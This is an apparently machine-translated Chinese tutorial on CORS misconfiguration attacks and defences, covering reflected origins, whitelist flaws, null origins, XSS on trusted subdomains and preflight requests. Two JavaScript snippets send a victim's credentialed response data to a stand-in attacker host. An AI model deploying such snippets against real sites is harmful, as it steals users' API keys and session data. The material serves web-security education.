跨源资源共享
跨源资源共享(CORS)是一种浏览器机制,它允许对位于给定域之外的资源进行受控访问。它扩展并增加了同源策略(SOP)的灵活性。然而,如果网站的 CORS 策略配置和实施不当,它也提供了跨域攻击的潜在可能性
跨源资源共享协议使用一系列 HTTP 头信息来定义受信任的 Web 源和相关的属性,例如是否允许认证访问。这些信息在浏览器和它试图访问的跨源网站之间通过头部交换进行组合
服务器生成的 ACAO 头信息来自客户端指定的 Origin 头
一种实现方式是通过读取请求的 Origin 头并包含一个响应头,表明请求的源被允许。
GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...
响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
这些头部表明允许从请求域( malicious-website.com
)访问,并且跨源请求可以包含 cookie( Access-Control-Allow-Credentials: true
),因此将在会话中处理
在 Access-Control-Allow-Origin
头中反映了任意来源,这意味着任何域名都可以访问易受攻击域的资源。如果响应包含任何敏感信息,如 API 密钥或 CSRF 令牌
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//malicious-website.com/log?key='+this.responseText;
};
解析 Origin 标题出错
CORS 源白名单实现时经常出现错误。一些组织决定允许从所有子域名(包括尚未存在的未来子域名)访问。一些应用程序允许从各种其他组织的域名及其子域名访问。这些规则通常通过匹配 URL 前缀或后缀或使用正则表达式来实现
假设一个应用程序允许访问所有以以下结尾的域名:
normal-website.com
An attacker might be able to gain access by registering the domain:
攻击者可能通过注册该域名来获取访问权限:
hackersnormal-website.com
Alternatively, suppose an application grants access to all domains beginning with
, 或者,假设一个应用程序允许访问所有以…开头的域
normal-website.com
An attacker might be able to gain access using the domain:
攻击者可能能够使用以下域名获取访问权限:
normal-website.com.evil-user.net
白名单中的 null 源值
Origin 头部的规范支持 null
值。在各种不寻常的情况下,浏览器可能会在 Origin 头部发送 null
值。
- Cross-origin redirects. :跨域重定向
- Requests from serialized data:请求数据序列化
- Request using the
file:
protocol:请求使用file:
协议进行 - Sandboxed cross-origin requests:沙盒化跨源请求
- 通过以下形式的沙箱 iframe 跨源请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
利用 CORS 信任关系进行 XSS 攻击
如果一个网站信任一个容易受到跨站脚本(XSS)攻击的源,那么攻击者可以利用 XSS 注入一些使用 CORS 从信任该易受攻击应用的网站检索敏感信息的 JavaScript
请求
GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...
响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true
发现 subdomain.vulnerable-website.com
上存在 XSS 漏洞的攻击者可以使用它来检索 API 密钥,使用如下 URL:
https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>
内网和无凭据的 CORS
大多数 CORS 攻击依赖于存在响应头:
Access-Control-Allow-Credentials: true
有一种常见情况,攻击者无法直接访问网站:当它是组织内部网络的一部分,位于私有 IP 地址空间内时。内部网站通常比外部网站的安全标准低,这使得攻击者能够发现漏洞并获得进一步访问权限。例如,私有网络内的跨源请求可能如下所示:
GET /reader?url=doc1.pdf Host: intranet.normal-website.com Origin: https://normal-website.com
服务器响应为:
HTTP/1.1 200 OK Access-Control-Allow-Origin: *
如果私有 IP 地址空间内的用户访问公共互联网,则外部网站可以使用受害者的浏览器作为代理来访问内部资源,从而执行基于 CORS 的攻击.
防止基于 CORS 的攻击
正确的跨域请求配置
如果网页资源包含敏感信息,应在 Access-Control-Allow-Origin
标题中正确指定来源
仅允许受信任的网站
指定在 Access-Control-Allow-Origin
标题中的来源应该只能是受信任的网站。特别是,未经验证就从跨源请求中动态反射来源是容易被利用的,应该避免.
避免白名单为空
避免使用头 Access-Control-Allow-Origin: null
。内部文档和沙箱请求的跨源资源调用可以指定 null
原因。CORS 头应在私有和公共服务器上针对受信任的来源进行适当定义
仅依靠网络配置来保护内部资源是不够的,因为内部浏览器可以访问不受信任的外部域名。
同源策略(SOP)
同源策略限制了来自同一源脚本的访问其他源数据。源由 URI 方案、域名和端口号组成
同源策略通常控制 JavaScript 代码对跨域加载的内容的访问。跨域加载页面资源通常是被允许的。例如,SOP 允许通过 <img>
标签嵌入图像,通过 <video>
标签嵌入媒体,通过 <script>
标签嵌入 JavaScript。然而,尽管这些外部资源可以被页面加载,页面上的任何 JavaScript 都无法读取这些资源的内容
各种同源策略的例外情况:
一些对象是可写的但不可跨域读取,例如来自 iframe 或新窗口的 location
对象或 location.href
属性
一些对象是可读但不可写跨域的,例如 length
属性的 window
对象(该对象存储页面正在使用的帧数)和 closed
属性
在新窗口中调用 close
、 blur
和 focus
函数。如果需要从一个域向另一个域发送消息,也可以在 iframe 和新窗口中调用 postMessage
函数。
处理 cookie 时同源策略更为宽松,因此它们通常可以从网站的各个子域名中访问,尽管每个子域名在技术上都是不同的源。您可以使用 HttpOnly
cookie 标志部分缓解此风险
可以使用 document.domain
来放松同源策略。这个特殊属性允许您为特定的域名放松 SOP,但前提是它必须是您的 FQDN(完全限定域名)的一部分。例如,您可能有一个域名 marketing.example.com
,并且您想在 example.com
上读取该域的内容。为此,两个域名都需要将 document.domain
设置为 example.com
。然后 SOP 将允许两个不同源之间的访问。在过去,可以将 document.domain
设置为 TLD(顶级域名)如 com
,这允许同一 TLD 上的任何域名之间的访问,但现在现代浏览器阻止了这种行为
CORS 和 Access-Control-Allow-Origin 响应头
- Refer
- 含义:Refer通常指的是HTTP请求头中的Referer字段,它表示请求的来源,即用户是通过点击哪个链接或输入哪个URL来访问当前页面的。
- 作用:主要用于跟踪用户的行为路径,帮助网站管理员了解用户是如何到达特定页面的。同时,Referer也常用于防盗链和防止恶意请求。
- Origin
- 含义:Origin是HTTP请求头中的一个字段,它表示请求的源(即发起请求的页面的URL),包括协议、域名和端口号(如果有)。
- 作用:Origin主要用于跨域资源共享(CORS)机制中,服务器可以通过检查Origin字段来判断请求是否来自可信的源,从而决定是否允许跨域请求。
- Access-Control-Allow-Origin
- 含义:这是HTTP响应头中的一个字段,用于指定哪些源站有权访问资源。当浏览器发起跨域请求时,如果服务器响应头中包含这个字段,并且指定的源与请求的源匹配,那么浏览器就会允许该跨域请求。
- 作用:主要用于控制跨域访问的权限,是实现CORS的关键
处理带有凭据的跨源资源请求
跨域资源共享请求的默认行为是不带凭据(如 cookies 和 Authorization 头)传递请求。然而,当凭据通过设置 CORS Access-Control-Allow-Credentials
头为 true 传递给跨域服务器时,它可以允许读取响应
浏览器将允许请求的网站读取响应,因为响应头 Access-Control-Allow-Credentials
设置为 true
。否则,浏览器将不允许访问响应。
注意,通配符不能用于任何其他值中。例如,以下标题是无效的:
Access-Control-Allow-Origin: https://*.normal-website.com
飞行前检查
当跨域请求包含非标准 HTTP 方法或头时,跨源请求之前会先使用 OPTIONS
方法发起一个请求,CORS 协议要求在允许跨源请求之前先检查允许哪些方法和头。这被称为预检请求。服务器返回允许的方法列表,以及受信任的源,浏览器会检查请求网站的方法是否被允许
PUT 方法以及一个名为 Special-Request-Header 的自定义请求头的预飞行请求:
OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header
响应:
HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
此响应列出了允许的方法( PUT
、 POST
和 OPTIONS
)和允许的请求头( Special-Request-Header
)。在这种情况下,跨域服务器还允许发送凭据,并且 Access-Control-Max-Age
头定义了缓存预检响应以供重用的最大时间范围。如果请求方法和头允许(如本例所示),则浏览器将以通常的方式处理跨源请求。